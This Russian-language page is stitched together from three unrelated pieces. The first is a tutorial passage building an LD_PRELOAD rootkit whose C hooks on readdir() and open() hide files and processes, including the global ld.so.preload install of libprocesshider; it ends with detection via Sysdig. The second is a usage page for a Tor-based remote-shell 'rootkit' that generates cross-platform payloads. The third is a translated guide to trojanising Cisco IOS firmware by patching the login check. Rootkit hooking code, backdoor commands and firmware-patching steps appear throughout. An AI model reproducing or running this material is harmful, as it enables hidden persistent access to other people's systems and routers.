После компиляции исходный файл
rootkit.<wbr />so будет перезаписан и из вывода утилиты ls пропадет и нужный файл
ld.<wbr />so.<wbr />preload. Проверяем:
$ gcc —Wall —fPIC —shared —o rootkit.so rkit.c —ldl $ ls rkit.c $ ls /etc/ ... ldap tmpfiles.d ld.so.cache ucf.conf ld.so.conf udev ld.so.conf.d udisks2 libao.conf ufw libaudit.conf update—motd.d libblockdev UPower ... |
Здорово! Мы только что стали на один шаг ближе к полной конспирации. Вроде бы это победа, но не спешите радоваться.
Погружаемся глубже
Попробуем проверить, сможем ли мы прочитать файл
ld.<wbr />so.<wbr />preload командой cat:
$ cat /etc/ld.so.preload /root/rootkit/src/rootkit.so |
Так‑так‑так. Получается, мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло?
Очевидно, что для получения содержимого утилита cat вызывает другую функцию — не
readdir(<wbr />), которую мы так старательно переписывали. Что ж, посмотрим, что использует cat:
$ ltrace cat /etc/ld.so.preload ... __fxstat(1, 1, 0x7ffded9f6180) = 0 getpagesize() = 4096 open(«/etc/ld.so.preload», 0, 01) = 3 __fxstat(1, 3, 0x7ffded9f6180) = 0 posix_fadvise(3, 0, 0, 2) = 0 ... |
На этот раз нам нужно поработать с функцией
open(<wbr />). Поскольку мы уже опытные, добавим в наш руткит функцию, которая при обращении к файлу
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload будет вежливо говорить, что файла не существует (Error no entry или просто
ENOENT).
Снова модифицируем
rkit.<wbr />c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
#define _GNU_SOURCE #include #include #include #include #include #include // Добавляем путь, который использует open() // для открытия файла /etc/ld.so.preload #define LD_PATH «/etc/ld.so.preload» #define RKIT «rootkit.so» #define LD_PL «ld.so.preload» struct dirent* (*orig_readdir)(DIR *) = NULL; // Сохраняем указатель оригинальной функции open int (*o_open)(const char*, int oflag) = NULL; struct dirent *readdir(DIR *dirp) { if (orig_readdir == NULL) orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»); struct dirent *ep = orig_readdir( dirp ); while ( ep != NULL && ( !strncmp(ep->d_name, RKIT, strlen(RKIT)) || !strncmp(ep->d_name, LD_PL, strlen(LD_PL)) )) { ep = orig_readdir(dirp); } return ep; } // Работаем с функцией open() int open(const char *path, int oflag, ...) { char real_path[PATH_MAX]; if(!o_open) o_open = dlsym(RTLD_NEXT, «open»); realpath(path, real_path); if(strcmp(real_path, LD_PATH) == 0) { errno = ENOENT; return —1; } return o_open(path, oflag); } |
Здесь мы добавили кусок кода, который делает то же самое, что и с
readdir(<wbr />). Компилируем и проверяем:
$ gcc —Wall —fPIC —shared —o rootkit.so rkit.c —ldl $ cat /etc/ld.so.preload cat: /etc/ld.so.preload: Нет такого файла или каталога |
Так гораздо лучше, но это еще далеко не все варианты обнаружения
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload.
Мы до сих пор можем без проблем удалить файл, переместить его со сменой названия (и тогда ls снова его увидит), поменять ему права без уведомления об ошибке. Даже bash услужливо продолжит его имя при нажатии на Tab.
В хороших руткитах, эксплуатирующих лазейку с
LD_PRELOAD, реализован перехват следующих функций:
-
listxattr,
llistxattr,
flistxattr; -
getxattr,
lgetxattr,
fgetxattr; -
setxattr,
lsetxattr,
fsetxattr; -
removexattr,
lremovexattr,
fremovexattr; -
open,
open64,
openat,
creat; -
unlink,
unlinkat,
rmdir; -
symlink,
symlinkat; -
mkdir,
mkdirat,
chdir,
fchdir,
opendir,
opendir64,
fdopendir,
readdir,
readdir64; - execve.
Разбирать подмену каждой из них мы, конечно же, не будем. Можете в качестве примера перехвата перечисленных функций посмотреть руткит cub3 — там все те же
dlsym(<wbr />) и
RTLD_NEXT.
Скрываем процесс с помощью LD_PRELOAD
При работе руткиту нужно как‑то скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top.
Мы уже довольно детально разобрались, как работает переопределение функций
LD_PRELOAD. Для процессов все то же самое. Более того, стандартные программы используют в своей работе procfs, виртуальную файловую систему, которая представляет собой интерфейс для взаимодействия с ядром ОС.
Чтение и запись в procfs реализованы так же, как и в обычной файловой системе. То есть, как вы можете догадаться, наш опыт с
readdir(<wbr />) здесь придется кстати.
libprocesshider
Как скрыть активность из мониторинга, предлагаю рассмотреть на хорошем примере libprocesshider, который разработал Джанлука Борелло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обнаружения руткитов
LD_PRELOAD мы поговорим в конце статьи).
Теперь скопируем код с GitHub и разберемся, что к чему:
$ git clone https://github.com/gianlucaborello/libprocesshider $ cd libprocesshider $ ls evil_script.py Makefile processhider.c README.md |
В описании к
libprocesshider все просто: делаем
make, копируем в
/<wbr />usr/<wbr />local/<wbr />lib/ и добавляем в
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload. Сделаем все, кроме последнего:
$ make $ gcc —Wall —fPIC —shared —o libprocesshider.so processhider.c —ldl $ sudo mv libprocesshider.so /usr/local/lib/ |
Посмотрим, каким образом ps получает информацию о процессах. Для этого запустим ltrace:
$ ltrace /bin/ps ... time(0) = 1606208519 meminfo(0, 4096, 0, 0x7f1787ce9207) = 0 openproc(96, 0, 0, 0) = 0x55c6f9f145c0 readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580 readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7) = 0x55c6f8258580 readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580 readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5) = 0x55c6f8258580 ... |
Информацию о процессе получаем при помощи функции
readproc(<wbr />). Посмотрим реализацию этой функции в файле
readproc.<wbr />c:
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) { static struct direct *ent; char *restrict const path = PT—>path; for (;;) { ent = readdir(PT—>procfs); if(unlikely(unlikely(!ent) || unlikely(!ent—>d_name))) return 0; if(likely(likely(*ent—>d_name > ‘0’) && likely(*ent->d_name <= ‘9’))) break; } p—>tgid = strtoul(ent—>d_name, NULL, 10); p—>tid = p—>tgid; memcpy(path, «/proc/», 6); strcpy(path+6, ent—>d_name); return 1; } |
Из этого кода понятно, что PID процессов получают, вызывая
readdir(<wbr />) в цикле
for. Другими словами, если нет директории процесса — нет и самого процесса для утилит мониторинга. Приведу пример части кода
libprocesshider, где уже знакомым нам методом мы скрываем директорию процесса:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
... while(1) { dir = original_##readdir(dirp); if(dir) { char dir_name[256]; char process_name[256]; if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && strcmp(dir_name, «/proc») == 0 && get_process_name(dir->d_name, process_name) && strcmp(process_name, process_to_filter) == 0) { continue; } } break; } return dir; ... |
Причем само имя процесса
get_process_name(<wbr />) берется из
/<wbr />proc/<wbr />pid/<wbr />stat.
Проверим наши догадки. Для этого запустим предлагаемый
evil_script.<wbr />py в фоне:
$ ./evil_script.py 1.2.3.4 1234 & [1] 3435 |
3435 — это PID нашего работающего процесса
evil_script.<wbr />py. Проверим вывод утилиты htop и убедимся, что
evil_script.<wbr />py присутствует в списке процессов.
Проверим вывод ps и lsof для обнаружения сетевой активности:
$ sudo ps aux | grep evil_script.py root 3435 99.5 0.4 19272 8260 pts/1 R 11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234 root 3616 0.0 0.0 6224 832 pts/0 S+ 12:52 0:00 grep evil_script.py $ sudo lsof —ni | grep evil_scri evil_scri 3435 root 3u IPv4 41410 0t0 UDP 192.168.232.138:52676—>1.2.3.4:1234 |
Теперь посмотрим, существует ли директория с PID процесса
evil_script.<wbr />py:
$ sudo ls /proc | grep 3435 3435 $ cat /proc/3435/status Name: evil_script.py Umask: 0022 State: R (running) Tgid: 3435 Ngid: 0 Pid: 3435 ... |
Все предсказуемо. Теперь самое время добавить библиотеку
libprocesshider.<wbr />so в предзагрузку глобально для всей системы. Пропишем ее в
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload:
# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload |
Проверяем директорию
/<wbr />proc, а также вывод lsof и ps.
$ ls /proc | grep 3435 $ lsof —ni | grep evil_scri ps aux | grep evil_script.py root 3707 0.0 0.0 6244 900 pts/0 S+ 13:10 0:00 grep evil_script.py |
Результат налицо. Теперь в
/<wbr />proc нельзя посмотреть директорию с PID скрипта
evil_script.<wbr />py. Однако статус процесса по‑прежнему виден в файле
/<wbr />proc/<wbr />3435/<wbr />status.
$ cat /proc/3435/status Name: evil_script.py Umask: 0022 State: R (running) Tgid: 3435 Ngid: 0 Pid: 3435 ... |
Подытожим. В первой части статьи мы изучили методы перехвата функций и их изменение, что позволяет скрывать руткиты. А дальше проделали то же самое для скрытия процессов от стандартных утилит мониторинга.
Как вы догадываетесь, простые руткиты, несмотря на все хитрости, поддаются детекту. Например, при помощи разных манипуляций с файлом
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload или изучения используемых библиотек при помощи ldd.
Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, ldd молчит, а подозрения на сетевую или иную активность все же есть?
Sysdig как решение
В отличие от стандартных инструментов, утилита Sysdig устроена по‑другому. По архитектуре она близка к таким продуктам, как libcap, tcpdump и Wireshark.
Специальный драйвер sysdig-probe перехватывает системные события на уровне ядра, после чего активируется функция ядра
tracepoints, которая, в свою очередь, запускает обработчики этих событий. Обработчики сохраняют информацию о событии в совместно используемом буфере. Затем эта информация может быть выведена на экран или сохранена в текстовом файле.
Посмотрим, как с помощью Sysdig найти
evil_script.<wbr />py. К примеру, по загрузке центрального процессора:
$ sudo sysdig —c topprocs_cpu CPU% Process PID ——————————————— 99.00% evil_script.py 5979 2.00% sysdig 5997 0.00% sshd 928 0.00% wpa_supplicant 474 0.00% systemd 909 0.00% exim4 850 0.00% sshd 938 0.00% su 948 0.00% in:imklog 472 0.00% in:imuxsock 472 |
Можно посмотреть выполнение ps. Бонусом Sysdig покажет, что динамический компоновщик загружал пользовательскую библиотеку
libprocesshide раньше, чем libc:
$ sudo sysdig proc.name = ps 2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0 ... 2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0 2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832 ... 2810 00:21:52.721293540 1 ps (3351) > open 2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64—linux—gnu/libc.so.6) name=/lib/x86_64—linux—gnu/libc.so.6 flags=1(O_RDONLY) mode=0 2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64—linux—gnu/libc.so.6) size=832 ... |
Схожие функции предоставляют утилиты SystemTap, DTrace и его свежая полноценная замена — BpfTrace.
Еще по теме: Создание VPN-туннеля в Linux для доступа во внутреннюю сеть
На чтение 2 мин Опубликовано 10.11.2021
Сетевое взаимодействие устанавливается через сеть tor.
Термин “руткит” состоит из двух слов: “root” (который в данном контексте означает привилегированную учетную запись в ОС Linux и Unix) и “kit” (программные компоненты, реализующие инструмент).
Не являясь по своей сути вредоносными, руткиты обычно идут в комплекте с различными видами вредоносного ПО и предоставляют хакеру доступ к вашему компьютеру с административными правами.
rkhunter проверка на наличие руткитов
Таким образом, руткиты могут предоставлять преступникам бэкдор, напрямую красть ваши данные (например, пароли и данные кредитных карт) или включать ваш компьютер в ботнет.
В любом случае, руткит затрудняет обнаружение и удаление.
Содержание
- tor-rootkit
- Как использовать
- Особенности
- Shell команды слушателя
- Shell команды клиента
tor-rootkit
Как использовать
Клонируйте репозиторий и измените каталог:
git clone https://github.com/emcruise/TorRootkit.git cd ./tor-rootkit
Создайте docker контейнер:
docker build -t listener .
Запустите контейнер docker:
docker run -v $(pwd)/executables:/executables/ -it listener
Разверните исполняемые файлы: Когда слушатель запущен и работает, он создает каталог “executables”, содержащий различные полезные нагрузки для разных платформ.
TorRootkit/ │ ... └ executables/
Примечание: Клиент может занять некоторое время для подключения, поскольку исполняемые файлы PyInstaller немного медленнее, и ему необходимо запустить tor.
Особенности
- Автономные исполняемые файлы для Windows и Linux, включая интерпретатор python и tor
- Вся коммуникация работает через скрытые сервисы tor, что гарантирует некоторую степень анонимности
- Слушатель может работать с несколькими клиентами
- Слушатель генерирует полезную нагрузку для различных платформ при запуске
Shell команды слушателя
Команда | Описание |
---|---|
help | Отображает меню справки |
^C or exit | Выход из оболочки |
list | список всех подключенных клиентов с их соответствующим индексом |
select <index> | запустить оболочку с клиентом |
Shell команды клиента
Команда | Описание |
---|---|
help | Отображает меню справки |
^C or exit | Выход из оболочки клиента и возврат в оболочку слушателя |
os <command> | Выполняет команду в оболочке клиента и возвращает вывод |
background | Сохраняет соединение с клиентом и возвращается к слушателю |
См. также:
- Три инструмента для сканирования Linux-сервера на наличие вирусов, вредоносных программ и руткитов
- Поиск руткитов в модулях ядра : Tyton
- 5 инструментов для сканирования Linux-сервера на вредоносные программы и руткиты
- Образовательный Ubuntu Linux руткит
- BEURK – Экспериментальный Unix руткит
- rkhunter проверка на наличие руткитов
- 🧱 HiddenWall – Создание скрытых модулей ядра
¯_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Пожалуйста, не спамьте и никого не оскорбляйте.
Это поле для комментариев, а не спамбокс.
Рекламные ссылки не индексируются!
virustracker · 2015/11/03 12:24
Источник статьи: https://www.exploit-db.com/docs/38466.pdf
0x01 введение
В этой статье в основном используется Cisco IOS в качестве тестового примера, чтобы объяснить, как изменить образ встроенного ПО. Большинство людей думают, что для этого требуются передовые знания или ресурсы национального уровня.На самом деле, это распространенное заблуждение. Я думаю, что одна из основных причин, по которой люди так думают, заключается в том, что нет статьи или руководства, которые полностью описывают процесс и не объясняют, какие ресурсы необходимы для написания руткита. Однако появление этой статьи изменило этот статус-кво. В этой статье представлены несколько очень полных методов и полное введение во весь процесс, а также приведены необходимые необходимые знания. Если читатели смогут прочитать полный текст, они, наконец, смогут написать базовый, но функциональный руткит-инструмент прошивки. Как только вы поймете все основные идеи и коды в сочетании с рабочей моделью, вы сможете легко написать код загрузчика самостоятельно и расширить функциональность основного загрузчика с помощью динамических модулей памяти. Однако эта статья не будет заходить так далеко. Прежде всего, в статье показано, как разрешить доступ к маршрутизатору с любым паролем, кроме настоящего, путем изменения определенного байта в образе IOS. Во-вторых, в статье объясняется, как перезаписать исходный вызов функции для вызова собственного кода. В качестве примера использован троянец процесса входа, который позволяет указать секретный вторичный пароль для входа. Если вы полностью поймете эту статью, в течение месяца вы сможете создать руткит-инструмент, который будет более мощным, чем руткит SYNful Knock, основываясь на знаниях из этой статьи. Фактически, написание подобного руткита не требует ресурсов на государственном уровне или миллионов долларов инвестиций, а также не требует участия высокотехнологичных аналитических центров. Затем вы обнаружите, что в последние несколько десятилетий прошивки троянских коней можно встретить повсюду на подпольных форумах.
Во-первых, давайте посмотрим, что эксперты говорят о SYNful Knock:
― Эксперты по сетевой безопасности, в том числе DeWalt, говорят, что только небольшое количество стран, обладающих возможностями киберразведки, может выполнять сложные атаки на сетевое оборудование, такое как маршрутизаторы. К странам с такой возможностью относятся Китай, Израиль, Великобритания, Россия и США.
«Как я писал далее, правительственные агентства по подслушиванию обычно проводят такие атаки. Например, мы знаем, что АНБ любит атаковать маршрутизаторы. Если вам нужно угадать, я бы предположил, что это эксплойт, запущенный АНБ.
— Однако характер и гибкость этого инструмента ясно показывают, что это не группа подпольных хакеров, ворующих личную информацию и т. Д. Конечно, это не означает, что у таких хакеров нет соответствующей способности, но что этим хакерам этот метод не нравится. Эта атака носит скорее национальный характер. Двумя главными подозреваемыми являются АНБ и Китай, потому что у них «паранойя в отношении личной информации».
Фактически, учитывая сложность обратного зеркалирования ROMmon и сложность установки зеркала без использования уязвимостей нулевого дня, закулисная атака, скорее всего, будет носить национальный характер.
По мнению некоторых экспертов, для микропрограммы троянца требуются миллионы долларов денежных средств, государственных ресурсов и государственной конфиденциальной информации. Такому руткиту нужно изучить как минимум неделю сборки PowerPC, неделю дизассемблирования и неделю написания кода и отладки. Глядя на это с этой точки зрения, я, как и многие другие, смог написать руткит, который займет 10 лет (хотя у меня всего 5 лет опыта), и мы не являемся ни страной, ни правительственным аналитическим центром. группа. Чтобы развеять слухи о так называемом национальном характере и превосходных исследованиях в области безопасности, мы решили доказать научно-исследовательскому сообществу, как можно относительно просто использовать свою собственную прошивку для создания руткит-инструмента.
Настройки 0x02
Текстовый редактор HT:
apt-get install ht hexedit
Dynamips + GDB Stub: git clone https://github.com/Groundworkstech/dynamips-gdb-mod
Скопировать код
Калькулятор программиста:
http://pcalc.sourceforge.net/
Binutils / Essentials: apt-get install gcc gdb build-essential binutils binutils-powerpc-linux-gnu binutils-multiarch
Скопировать код
Прочие зависимости:
apt-get install libpcap-dev uml-utilities libelf-dev libelf1
QEMU: apt-get install qemu qemu-common qemuctl qemu-system qemu-system-mips qemu-system-misc qemu-system-ppc qemu-system-x86
Скопировать код
Зеркало Debian PowerPC:
wget https://people.debian.org/~aurel32/qemu/powerpc/debian_wheezy_powerpc_standard.qcow2
Скопировать код
QEME также требует следующих дополнительных настроек:
# cd /usr/share/qemu/
# mkdir ../openbios/
# mkdir ../slof/
# mkdir ../openhackware/ # cd ../openbios/
# wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-ppc
# wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-sparc32 # wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-sparc64
# cd ../openhackware/
# wget https://github.com/qemu/qemu/raw/master/pc-bios/ppc_rom.bin # cd ../slof/
# wget https://github.com/qemu/qemu/raw/master/pc-bios/slof.bin
# wget https://github.com/qemu/qemu/raw/master/pc-bios/spapr-rtas.bin
Скопировать код
Клиент QEME должен быть установлен следующим образом:
qemu-host# qemu-system-ppc -m 768 -hda debian_wheezy_powerpc_standard.qcow2
qemu-guest# apt-get update
qemu-guest# apt-get install openssh-server gcc gdb build-essential binutils-multiarch binutils qemu-guest# vi /etc/ssh/sshd_config
qemu-guest# GatewayPorts yes
qemu-guest# /etc/init.d/ssh restart
qemu-guest# ssh -R 22222:localhost:22 <you>@<qemu-host>
Скопировать код
Подключите устройство разработки по SSH к порту 22222 и войдите в клиент QEMU как пользователь root. Это упрощает редактирование файлов, операции копирования и вставки, потому что нет необходимости переключаться в окно QEMU.
Необходимо скомпилировать заглушку Dynamips + GDB. Следующую операцию также необходимо выполнить на машине amd64: изменить конфигурацию в соответствии с требованиями оборудования для разработки.
# git clone https://github.com/Groundworkstech/dynamips-gdb-mod Cloning into 'dynamips-gdb-mod'...
remote: Counting objects: 290, done.
remote: Total 290 (delta 0), reused 0 (delta 0), pack-reused 290 Receiving objects: 100% (290/290), 631.30 KiB | 0 bytes/s, done. Resolving deltas: 100% (73/73), done.
Checking connectivity... done.
# cd dynamips-gdb-mod/src
# DYNAMIPS_ARCH=amd64 make
Linking rom2c
cc: error: /usr/lib/libelf.a: No such file or directory make: *** [rom2c] Error 1
# updatedb
# locate libelf.a /usr/lib/x86_64-linux-gnu/libelf.a
# cat Makefile |grep "/usr/lib/libelf.a"
LIBS=-L/usr/lib -L. -ldl /usr/lib/libelf.a $(PTHREAD_LIBS)
LIBS=-L. -ldl /usr/lib/libelf.a -lpthread
# cat Makefile | sed -e 's#/usr/lib/libelf.a#/usr/lib/x86_64-linux-gnu/libelf.a#g' >Makefile.1
# mv Makefile Makefile.bak
# mv Makefile.1 Makefile
# DYNAMIPS_ARCH=amd64 make
Скопировать код
Затем нам нужно использовать простой скрипт для вычисления двоичной контрольной суммы, потому что мы будем использовать этот двоичный файл позже. Сохраните контрольную сумму в файле chksum.pl и поместите ее в каталог разработки. Преобразуйте этот файл в исполняемый файл с помощью chmod + x.
#!perl
#!/usr/bin/perl
sub checksum {
my $file = $_[0];
open(F, "< $file") or die "Unable to open $file ";
print "n[!] Calculating the checksum for file $filenn";
binmode(F);
my $len = (stat($file))[7];
my $words = $len / 4;
print "[*] Bytes: t$lenn";
print "[*] Words: t$wordsn";
printf "[*] Hex: t0x%08lxn",$len;
my $cs = 0;
my ($rsize, $buff, @wordbuf);
for(;$words; $words -= $rsize) {
$rsize = $words < 16384 ? $words : 16384;
read F, $buff, 4*$rsize or die "Can't read file $file : $!n";
@wordbuf = unpack "N*",$buff;
foreach (@wordbuf) {
$cs += $_;
$cs = ($cs + 1) % (0x10000 * 0x10000) if $cs > 0xffffffff;
}
}
printf "[*] Checksum: t0x%lxnn",$cs;
return (sprintf("%lx", $cs));
close(F);
}
if ($#ARGV + 1 != 1) {
print "nUsage: ./chksum.pl <file>nn";
exit;
}
checksum($ARGV[0]);
Скопировать код
Кроме того, также необходимы несколько ресурсов, но мы не можем давать ссылки в статье. Однако вы сможете найти эти ресурсы и не столкнетесь с какими-либо проблемами с настройками. Затем вам необходимо установить эти ресурсы на виртуальную машину, используемую для разработки, а затем создать клиент Windows 7. После завершения настроек войдите в свою виртуальную машину Windows и установите «IDA Pro 6.6 + Hex-Rays Decompiler» или любую другую версию — убедитесь, что вы установили полную версию, которая поддерживает архитектуры, отличные от x86 / x64. , Потому что мы в основном используем язык ассемблера PowerPC. Пожалуйста, не взламывайте программное обеспечение IDA, IDA — очень простая в использовании программа, которая стоит нашей покупки.
Наконец, вам понадобится образ IOS. Используемый нами образ взят с приобретенного нами Cisco 2600, а имя файла — «c2600-bino3s3-mz.123-22.bin». Мы настоятельно рекомендуем вам войти в свою учетную запись Cisco и загрузить этот образ — использование того же образа может гарантировать, что вы работаете в точном соответствии с нашими требованиями, а смещение, контрольная сумма, длина и т. Д. Также согласованы. Как мы все знаем, некоторые так называемые «обучающиеся только» образы IOS, загружаемые в некоторых сообществах, а также образы IOS с дополнительными функциями, на самом деле имплантируются троянами. В дополнение к проверке по хешу мы также рекомендуем вам использовать «Cisco Incident Response» FX для проверки вашего образа IOS.
Для нашего оборудования для разработки подсказка: «[[email protected] ] # «; Запрос QEMU, подсказка:» [[email protected] ]#。
0x03 разработка
Используйте следующую команду распаковки, чтобы распаковать IOS image-c2600-bino3s3-mz.123-22.bin:
[ [email protected] ]# unzip c2600-bino3s3-mz.123-22.bin
Archive: c2600-bino3s3-mz.123-22.bin
warning [c2600-bino3s3-mz.123-22.bin]: 16876 extra bytes at beginning or within zipfile
(attempting to process anyway)
inflating: C2600-BI.BIN
Скопировать код
===========================
= Структура IOS BIN =
[Заголовок ELF]
[SFX ]
[0xfeedface ]
[Размер несжатого изображения]
[Размер изображения после сжатия]
[Контрольная сумма изображения после сжатия]
[Несжатая контрольная сумма зеркала]
[Данные PKzip]
Есть несколько важных моментов, касающихся структуры IOS BIN. Прежде всего, это в основном ZIP-файл, содержащий несколько заголовков; почти все программы распаковки могут узнать, где начинаются zip-данные, и распаковать их. Первый — это заголовок, используемый для описания двоичного файла, за исключением машинных переменных, вам не нужно беспокоиться о другом двоичном файле; затем есть самораспаковывающаяся исполняемая программа, за исключением переменной размера, вам не нужно слишком много знать; затем это zip данные. Наконец, после распаковки, прежде чем вы сможете загрузить файл в IDA, вы должны изменить флаг e_machine в заголовке ELF. Вы можете сделать это, распаковав c2600-bino3s3-mz.123-22.bin, так что у вас останется C2600-BI.BIN. Скопируйте этот файл из C2600-BI.BIN в C2600-BI.BIN.ida, затем откройте файл в ht / hte (ht /path/to/C2600-BI.BIN.ida) и нажмите «ОК» в диалоговом окне. «:
Затем нажмите F6, выберите заголовок EF в модели, прокрутите вниз до элемента машины — на нем будет отображаться 64-разрядная версия SPARC v9 — нажмите F4 для редактирования, введите 0014, теперь нажмите F2 для сохранения и нажмите F10 выбывать. Теперь вы можете загрузить BIN в IDA. * Примечание. На некоторых виртуальных машинахht
Толькоhte
, Вам нужен шестнадцатеричный редактор, а не обработка текста — во всяком случае, в этой статье мы будем использоватьht
Для обработки двоичного файла, но на вашем компьютере его имя может бытьhte
。
Теперь у вас есть c2600-bino3s3-mz.123-22.bin, C2600-BI.BIN.ida и d C2600-BI.BIN, откройте c2600-bino3s3-mz.123-22.bin в ht, нажмите «ОК» в диалоговом окне, а затем нажмите F7 для поиска. Переключитесь на шестнадцатеричный формат и введите «fe ed fa ce», а затем нажмите Enter. Это магическое значение может определять различную битовую информацию, такую как размер и контрольная сумма.
Если вы хотите перестроить полный сжатый образ IOS, помимо «feed face», вы также должны знать, как вычислять и управлять несколькими другими важными значениями:
02 65 e2 8c: Размер несжатого изображения
00 eb 1e bb: размер сжатого изображения
ed a0 3a 8b: контрольная сумма зеркала после сжатия
7c 5c c4 27: контрольная сумма несжатого зеркала
После того, как вы определили расположение этих значений, вы нажимаете F10 в ht для выхода. На основе этих значений вы можете найти магическое значение «PK», используемое для идентификации данных заголовка PKZipped. Эти ценности и их позиции важны и также будут играть роль в будущем. Кроме того, важно понимать, как рассчитываются эти значения. Во-первых, нам нужно найти длину сжатого изображения и несжатого изображения.
Перейдите к значению, которое мы видим в байте после магического значения 0xfeedface:
[ [email protected] ] # pcalc 0x0265e28c # 02 65 e2 8c: Размер несжатого изображения
40231564 0x265e28c 0y10011001011110001010001100
[ [email protected] ] # pcalc 0x00eb1ebb # 00 eb 1e bb: размер сжатого изображения
15408827 0xeb1ebb 0y111010110001111010111011
[ [email protected] ] # pcalc 15408827-15425704; размер заголовка минус размер вывода `ls`
-16877 0xffffffffffffbe13
Скопировать код
Помните предупреждение о декомпрессии:
Предупреждение: [c2600-bino3s3-mz.123-22.bin]: 16876 дополнительных байтов в начале или в zip-файле
Скопировать код
Мы хотим найти контрольную сумму сжатого изображения и несжатого изображения
[!] Вычислить контрольную сумму файла C2600-BI.BIN
Чтобы получить контрольную сумму сжатого файла, который представляет собой zip-данные, используйте заголовок для вычитанияdd
, Помните, что «лишние» данные содержат 16 876 байт.
[!] Вычислить контрольную сумму файла c2600-bino3s3-mz.123-22.bin.no_header
Поскольку нам понадобится это значение позже, чтобы перестроить двоичный файл IOS, нам нужна копия заголовка. Это значение должно быть 16876 минус 16. Эти 16 байтов необходимы для 4 значений в каждых 4 байтах: это размер сжатого изображения, размер несжатого изображения и контрольная сумма сжатого изображения. Sum и контрольная сумма несжатого зеркала.
На данный момент: мы получили файл c2600-bino3s3-mz.123-22.bin, содержащий несколько заголовков и zip-данных, распакованный образ C2600-BI.BIN и C2600-BI, помеченный как модифицированный e_machine. .BIN.ida и файл c2600-bino3s3-mz.123-22.bin.no_header с удаленным заголовком. Более того, мы также знаем расположение магического значения 0xfeedface, как рассчитать шестнадцатеричное значение и куда поставить эти шестнадцатеричные значения, если необходимо, это нужно делать вручную. Наконец, чтобы загрузить BIN в IDA, мы должны изменить значение заголовка e_machine Elf с 002d (SPARC) на 0014 (PowerPC).
Затем извлеките C2600-BI.BIN.ida, измените заголовок ELF e_machine файла C2600-BI.BIN.ida, а затем поместите этот файл в IDA на виртуальной машине Windows. Конечно, вы также можете повторно сжать этот файл и получить новый C2600-BI.BIN — просто убедитесь, что в извлеченном файле установлен флаг e_machine на 0014. Откройте IDA (32-разрядную версию), выберите «Новый», установите процессор на PowerPC Bif-Endian [PPC] и дождитесь завершения загрузки IDA.
В процессе загрузки файлов IDA, если вы попытаетесь удаленно войти в систему на устройстве Cisco, вы увидите подсказку с просьбой ввести «пароль». Если вы введете неправильный пароль несколько раз, вы увидите сообщение об ошибке «%% Bad» пароли n «. Здесь будут использоваться базовые знания о разборке. Затем нам нужно найти несколько строк, найти подпрограмму suo’yo для XREF (перекрестная ссылка) и наблюдать за этой функцией.
После того как IDA завершит загрузку, щелкните вкладку IDA-View-A, затем щелкните в любом месте окна и нажмите «g» (или воспользуйтесь текстовым поиском). Когда мы определили, что делать в диалоговом окне, откройте тип aBadPasswords и нажмите «ОК». Вы должны увидеть содержимое на изображении ниже:
Если вы не нашли контент на картинке, вы можете попробовать текстовый поиск, нажав ‘g’ в IDA, или потому что IDA не завершила анализ двоичного файла. Если вы посмотрите в нижний левый угол, цифры здесь не должны прыгать. Подождите, пока числа не перестанут биться, IDA предложит вам изменить режим просмотра — это означает, что IDA завершила анализ.
В части данных этого исполняемого файла, предназначенной только для чтения, мы нашли строку «Пароль» в .rodata: 81a414f8: Тогда это оказался .rodata: 81a41504, где мы нашли искомые «%% Bad passwords». n «строка. Дважды щелкните слово XREF, выберите строку «Пароль», и вы попадете сюда:
Прежде чем мы продолжим, теперь мы хотим пересмотреть некоторые базовые знания о языке ассемблера PowerPC. Если вы немного знаете язык ассемблера, вы можете примерно понять, что это значит, просто запомните следующие моменты:
Инструкции PowerPC OP rX, rY, rZ, например, если OP равно ADD, затем ADD, тогда: rX = rY + rZ, если OP равно SUB, тогда: rX = rY – rZ.
Порядок выполнения большинства инструкций — справа налево, и в зависимости от вашего ассемблера и инструмента отладки они могут варьироваться от 2 до 4 регистров. Например, команда сравнения может быть записана cmp crfD, L, rA, rB, то есть cmp cr7, 0, r3, r4 или cmp r3, r4. В Интернете есть множество интерактивных руководств по языку ассемблера PowerPC.
Практически все инструкции выполняются справа налево, за исключением операций хранения, порядок выполнения этих инструкций слева направо. Например, чтобы сохранить в стек слово (32b) определенных данных в регистре r3:
stw %r3, 0x0(%sp)
Скопировать код
